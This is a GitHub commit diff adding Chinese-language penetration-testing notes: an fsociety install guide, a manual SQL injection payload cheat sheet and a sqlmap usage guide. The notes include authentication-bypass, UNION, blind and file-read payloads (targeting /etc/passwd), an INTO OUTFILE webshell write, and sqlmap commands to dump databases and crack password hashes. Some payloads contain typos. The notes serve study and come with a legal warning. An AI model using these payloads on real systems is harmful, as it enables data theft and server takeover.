File tree Expand file tree Collapse file tree 6 files changed +158
-2
lines changed Expand file tree Collapse file tree 6 files changed +158
-2
lines changed Original file line number Diff line number Diff line change 1
1
## 渗透测试笔记
2
2
3
+ > 警告:不要对未经授权系统进行渗透测试
4
+
3
5
### [ fsciety] ( ./fsciety/README.md )
6
+
7
+ ### [ SQL注入] ( ./sql/README.md )
8
+
Original file line number Diff line number Diff line change 1
1
## fsciety
2
2
3
- ### install
3
+ [ doc] ( https://fsociety.dev/ )
4
+
5
+ ### Install from docker
4
6
5
7
``` bash
6
8
docker pull fsocietyteam/fsociety
@@ -16,5 +18,6 @@ docker ps -a # 找到容器
16
18
再次启动
17
19
18
20
``` bash
21
+ docker start [container_name]
19
22
docker attach [container_name]
20
- ```
23
+ ```
Original file line number Diff line number Diff line change
1
+ ## SQL 注入
2
+
3
+ [ sqlmap] ( ./sqlmap.md )
4
+
5
+ [ 手工注入] ( ./sqlmap.md )
Original file line number Diff line number Diff line change
1
+ ## 手工注入
2
+
3
+ ### 大佬文章推荐
4
+
5
+ [ 肖洋肖恩、] ( https://www.cnblogs.com/-mo-/p/12730682.html )
6
+
7
+ ## 常用的 playload
8
+
9
+ ### 注释
10
+
11
+ ``` sql
12
+ or 1 = 1 -- +
13
+ ' or 1=1--+
14
+ "or 1=1--+
15
+ )or 1=1--+
16
+ ' )or 1 = 1 -- +
17
+ " ) or 1=1--+
18
+ " ))or 1 = 1 -- +
19
+ -- + 可以用#替换,url 提交过程中 Url 编码后的#为%23
20
+ -- + SELECT * FROM users WHERE id=''or 1=1--+' LIMIT 0,1
21
+ ```
22
+
23
+ ### 联合注入
24
+
25
+ 判断字段数目,` ?id=1' order by 1 --+ ` 此时页面正常,
26
+ 继续换更大的数字测试` ?id=1' order by 10 --+ ` 此时页面返回错误,
27
+ 更换小的数字测试` ?id=1' order by 5 --+ ` 此时页面依然报错,
28
+ 继续缩小数值测试` ?id=1' order by 3 --+ ` 此时页面返回正常,
29
+ 更换大的数字测试` ?id=1' order by 4 --+ ` 此时页面返回错误,3 正常,4 错误,说明字段数目就是 3
30
+
31
+ ``` sql
32
+ ?id= 1 ' order by 4--+
33
+ ```
34
+
35
+ 拿到数据库名
36
+
37
+ ```sql
38
+ ?id=0' union select 1 ,2 ,3 ,database()-- +
39
+ ```
40
+
41
+ ### 报错爆出信息
42
+
43
+ 通过 id=-1 一个负数不存在的 id 值来触发报错
44
+
45
+ ``` sql
46
+ id= - 1 ' UNION SELECT 1,2,3
47
+ ```
48
+
49
+ 通过 or 1=1 语句来触发报错
50
+
51
+ ```sql
52
+ id=1' or 1 = 1 UNION SELECT 1 ,2 ,3
53
+ ```
54
+
55
+ ### 基于时间的盲注
56
+
57
+ ``` sql
58
+ 1 ' and slepp(5) --'
59
+ -- + select first_name, last_name from dvwa.users where user_id='1' and sleep(5) --'
60
+ ```
61
+
62
+ ### 读取文件
63
+
64
+ ``` sql
65
+ = 1 ' and 1=2 union select laod_file(' / etc/ password' ) #
66
+ ```
67
+
68
+ ### 文件写入
69
+
70
+ 文件写入配合菜刀提权。
71
+
72
+ ```sql
73
+ =1 and 1=2 union select ' 菜刀木马内容' into outfile ' 文件目录+ 文件名'
74
+ ```
Original file line number Diff line number Diff line change
1
+ ## sqlmap
2
+
3
+ [ github] ( https://github.com/sqlmapproject/sqlmap )
4
+ [ doc] ( https://github.com/sqlmapproject/sqlmap/wiki/Usage )
5
+
6
+ ### 起手式
7
+
8
+ 使用默认行为检测 sql 注入,这也能判断这个点是否是注入点,默认情况下,sqlmap 测试它支持的所有类型/技术。
9
+
10
+ ``` bash
11
+ python sqlmap.py -u " http://192.168.1.150/products.asp?id=134" --batch
12
+ ```
13
+
14
+ 爆库, ` --dbs ` 会枚举出所以数据库
15
+
16
+ ``` bash
17
+ python sqlmap.py -u " http://192.168.1.150/products.asp?id=134" --dbs
18
+ ```
19
+
20
+ ### 查看数据
21
+
22
+ - 查看当前数据库
23
+
24
+ ``` bash
25
+ python sqlmap.py -u " http://192.168.1.150/products.asp?id=134" --current-db
26
+ ```
27
+
28
+ - 查看数据库表
29
+
30
+ ``` bash
31
+ python sqlmap.py -u " http://192.168.1.150/products.asp?id=134" -D my_db --tables“
32
+ ```
33
+
34
+ - 枚举数据库表列
35
+
36
+ ``` bash
37
+ python sqlmap.py -u " http://192.168.1.150/products.asp?id=134" -D my_db -T ` This_key` --columns
38
+ ```
39
+
40
+ - 查看列数据
41
+
42
+ ``` bash
43
+ python sqlmap.py -u " http://192.168.1.150/products.asp?id=134" -D my_db -T ` This_key` -C ` k0y` --dump
44
+ ```
45
+
46
+ ### 账号密码
47
+
48
+ 检索正在从 Web 应用程序对后端 DBMS 有效执行查询的数据库管理系统用户
49
+
50
+ ``` bash
51
+ python sqlmap.py -u " http://192.168.1.150/products.asp?id=134" --current-user
52
+ ```
53
+
54
+ 列出并破解数据库管理系统用户密码哈希值
55
+
56
+ ``` bash
57
+ python sqlmap.py -u " http://192.168.1.150/products.asp?id=134" --passwords
58
+ ```
59
+
60
+ ### 绕过 CSRF 保护
61
+
62
+ 现在有很多网站通过在表单中添加值为随机生成的 token 的隐藏字段来防止 CSRF 攻击,sqlmap 会自动识别出这种保护方式并绕过。但自动识别有可能失效,此时就要用到这两个参数。
63
+
64
+ - ` –csrf-token ` 用于指定包含 token 的隐藏字段名,若这个字段名不是常见的防止 CSRF 攻击的字段名 sqlmap 可能不能自动识别出,需要手动指定。如 Django 中该字段名为“csrfmiddlewaretoken”,明显与 CSRF 攻击有关。
65
+ - ` –csrf-url ` 用于从任意的 URL 中回收 token 值。若最初有漏洞的目标 URL 中没有包含 token 值而又要求在其他地址提取 token 值时该参数就很有用。
66
+
67
+ ### 强制使用 SSL
68
+
69
+ 指定 ` –force-ssl `
You can’t perform that action at this time.
0 commit comments